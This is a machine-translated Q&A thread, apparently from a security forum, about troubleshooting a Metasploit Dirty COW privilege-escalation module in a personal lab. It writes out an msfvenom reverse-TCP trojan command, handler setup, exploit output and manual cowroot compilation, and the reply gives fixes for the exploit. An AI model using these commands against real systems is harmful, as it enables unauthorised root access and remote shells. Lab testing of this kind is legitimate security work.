web-dev-qa-db-ja.com

Metasploitを使用した汚い牛の搾取

Dirty Cowの脆弱性を悪用しようとしているLinux仮想マシンのいくつかをテストしていますが、Metasploitを使用して成功することができません。まず第一に...興味のあるユーザーのために、 "Dirty Cow、What is" 脆弱性へのリンク、 "影響を受けるカーネル" および explanation へのリンク=。長いバージョンについて説明します。他の人のマニュアルとして役立つかもしれません。質問は最後のフレーズにあります!

私はあなたが「犠牲になる可能性のある」マシンからコマンドを起動できなければならず、カーネルが影響を受けたものでなければならないことを知っています。いいですね、私はDebian Jessieを使用していますVMカーネル3.16を使用しています(影響を受ける)。

手動でコンパイルできることなどはわかっていますが、私のラボの目的は、Metasploitを使用して少し「自動化」を試みることです。まず、Metasploitフレームワークで使用するエクスプロイトをダウンロードしました。 Rapid7 Github からダウンロードされ、nixawkによってMetasploitに適合された.rbファイルです。

私はすでにMetasploitの正しいフォルダの下に.rbファイルを置いています。私の場合、Kaliを使用しているのは、「攻撃者」が/usr/share/metasploit-framework/modules/exploits/linux/local/であるためです。これは、Linuxカテゴリなどにあるためです。msfconsoleから、search dirtycow。だから、すべてがMetasploitでよさそうだ!今私はそれを使うことができます。働きましょう...

エクスプロイトuse exploit/linux/local/DirtyCowを選択してオプションshow optionsを表示すると、エクスプロイトを実行しようとするセッションを設定するだけの簡単なことがわかります。セッションはまだ1つありません。最初は、メータプリッターセッションが必要か、どのようなセッションが必要かわかりませんでした。いくつかのテストの後、Linux Shellセッションが必要なようです。では、msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.0.159 LPORT=4444 -f elf > /root/Desktop/testTrojを使用して、リバースtcp linuxシェルでトロイの木馬を準備しましょう。 ipは、私のKaliの「攻撃者」Linuxがある場所です。ポートは問題ありません。両方のマシン(被害者と攻撃者)が同じLAN上にあり、ファイアウォールがないなどの理由で通信しています。

use exploit/multi/handlerを使用してシェルセッション用のMetasploitの「リッスン」を準備し、ペイロードを設定します。この場合はset payload linux/x86/Shell/reverse_tcpです。その後、必要なパラメーターを設定します。ポートはデフォルトの4444なので、大丈夫です。set lhost 192.168.0.159は、lanの攻撃者であるKali machine ipである可能性があります。これですべてです。私はexploit -jを使用して、バックグラウンドで「リスニング」しているエクスプロイトを実行します。

次に、トロイの木馬の「存在」を含むファイルを被害者のDebianマシンに手動でコピーし、ルートとして実行しました。 Metasploitでは、セッションはID 1のバックグラウンドで作成されます。すべて問題ありません。次に、use exploit/linux/local/DirtyCowを使用してDirtyCowのエクスプロイトを再度選択し、セッションのID set session 1で必要な一意のパラメーターを設定します。他のパラメーターは問題なく、/tmpは問題なく、パスが存在し、そこにありますみんなの書き込み権限です。準備完了... exploitを使用してエクスプロイトを実行します。これが私の出力です。

[*] Started reverse TCP handler on 192.168.0.159:4444 
[*] Compiling /tmp/UzUvDldaCr.c via gcc
[*] Executing at 2016-12-14 22:10:51 +0100.
[!] This exploit may require manual cleanup of '/tmp/UzUvDldaCr.c' on the target
[!] This exploit may require manual cleanup of '/tmp/UzUvDldaCr.out' on the target
[*] Exploit completed, but no session was created.

それはうまくいきませんでした...私が何を間違っているのかわかりません...私はsessions -i 1を使用して何が起こったのかを確認するためにセッションに入りました:これは私が見つけたものです:

[*] Starting interaction with 1...

2737988140
CdjEPizWwVtmWTWAIRRYUSplYyfsbGNI
3.16.0-4-AMD64
UkbrQnewfsTjJuZHVygXpxDIFUhDHrVC
65537
ibcpgKMTLBVjxRyDsYoBnPMXbihygWlH
��ABCD%%
rgRjAKXaPFXlRUVEilZIdCSnvUxWncoo
GLrEcejVuhmqQOuCOdSONoLbOBudHGeX
/tmp/UzUvDldaCr.c: In function 'procselfmemThread':
/tmp/UzUvDldaCr.c:55:14: warning: passing argument 2 of 'lseek' makes integer from pointer without a cast
 lseek(f, map, SEEK_SET);
          ^
In file included from /tmp/UzUvDldaCr.c:8:0:
/usr/include/unistd.h:334:16: note: expected '__off_t' but argument is of type 'void *'
 extern __off_t lseek (int __fd, __off_t __offset, int __whence) __THROW;
            ^
collect2: fatal error: cannot find 'ld'
compilation terminated.
GGYjQWGSfKLntgwhprtYiCsLJKndFUxl
chmod: cannot access '/tmp/UzUvDldaCr.out': No such file or directory
/bin//sh: 19: /tmp/UzUvDldaCr.out: not found
bQKiCptqxwqFyDAjNVVWmXvVmvedCSXd
UVKeynQmJkUxYjSUNJOnVOhDbQdvTykf
uMNhdcrJsOycUmRPavHrBJieIZEeBOHd

ld
ld: no input files

何が起こっているのかわかりません。 gccおよびldコマンドは、Debianの犠牲マシンで使用できます...

攻撃者側はすべて大丈夫ですか?私は何か間違ったことをしていますか?または、被害者のマシンに問題がありますか?多分いくつかのツールまたは何かの欠如。誰かが私を導くことができれば...ありがとう!

[〜#〜] edit [〜#〜]:rootを使用してトロイの木馬を実行してみましたが、Debianの犠牲マシンで通常のユーザーを使用してテストしました。 ..どちらの場合もシェルセッションが作成されますが、最終結果は同じです...同じエラー、同じログ。

EDIT 2:Metasploitモジュールはcowroot PoCに基づいているため、 here からcowroot.cファイルをダウンロードしてコピーしましたMetasploitを使用する代わりに、Debianの犠牲マシンに手動でコンパイルして、手動でコンパイルを試みます。私は$ gcc cowroot.c -o cowroot -pthreadの指示に従いましたが、別のエラーが発生しました...いくつかの警告がありますが、致命的なエラーはありません:

cowroot.c: In function 'procselfmemThread':
cowroot.c:98:17: warning: passing argument 2 of 'lseek' makes integer from pointer without a cast
 lseek(f, map, SEEK_SET);
          ^
In file included from cowroot.c:27:0:
/usr/include/unistd.h:334:16: note: expected '__off_t' but argument is of type 'void *'
 extern __off_t lseek (int __fd, __off_t __offset, int __whence) __THROW;
            ^

そして、それを試してみると半分動作しています...つまり、それを実行すると$ ./cowrootはルートシェルをドロップします...しかし、しばらくすると、犠牲PC全体が完全にハングします。だから今、私は迷っています...なぜMetasploitに取り組んでいないのですか? O.S.を取得するのは正常ですDirty Cowの脆弱性を悪用した後にフリーズしましたか?たぶん、フリーズはコンパイル警告が原因である可能性がありますか?

EDIT 3:フリーズ問題の回避策があります。少しググリングした後、被害者のマシンで以前に(またはフリーズする前にルートシェルをドロップした直後に)このecho 0 > /proc/sys/vm/dirty_writeback_centisecsを実行した場合、エクスプロイトを起動してもシステムはハングしません。 Metasploitモジュール(DirtyCow.rb)のコード内を検索したところ、次のことがわかりました。

def on_new_session(client)
    client.Shell_command_token('echo 0 > /proc/sys/vm/dirty_writeback_centisecs')
end

だからmetasploitに接続した後、システムはハングアップしないと思います...しかし、Metasploitからはまだポイントが機能していません。 :/

8
OscarAkaElvis

いくつかのこと:

1)目標を何に設定していますか?エクスプロイトをコンパイルするシステムで64ビットカーネルを実行している場合、これにより問題が発生する可能性があります。デフォルトのターゲットは32ビットに設定されています。

2)SESSION変数を設定するときは、エクスプロイトオプションをチェックして、変数が正しく設定されていることを確認してください。

3)ターゲットで、/ usr/bin/passwdが存在し、ルートにsuidされていることを確認します。また、gccが/ usr/bin/gccにあることを確認します。このエクスプロイトは、PATH環境変数を使用してこれらのファイルのいずれかを検索しません。

4)エクスプロイトを実行した後でセッションを操作すると、シェルコマンドを発行できますか?プロンプトが表示されない場合がありますが、「id」または何かを実行して、STDOUTが返されるかどうかを確認してください。

1
Joshua Gimer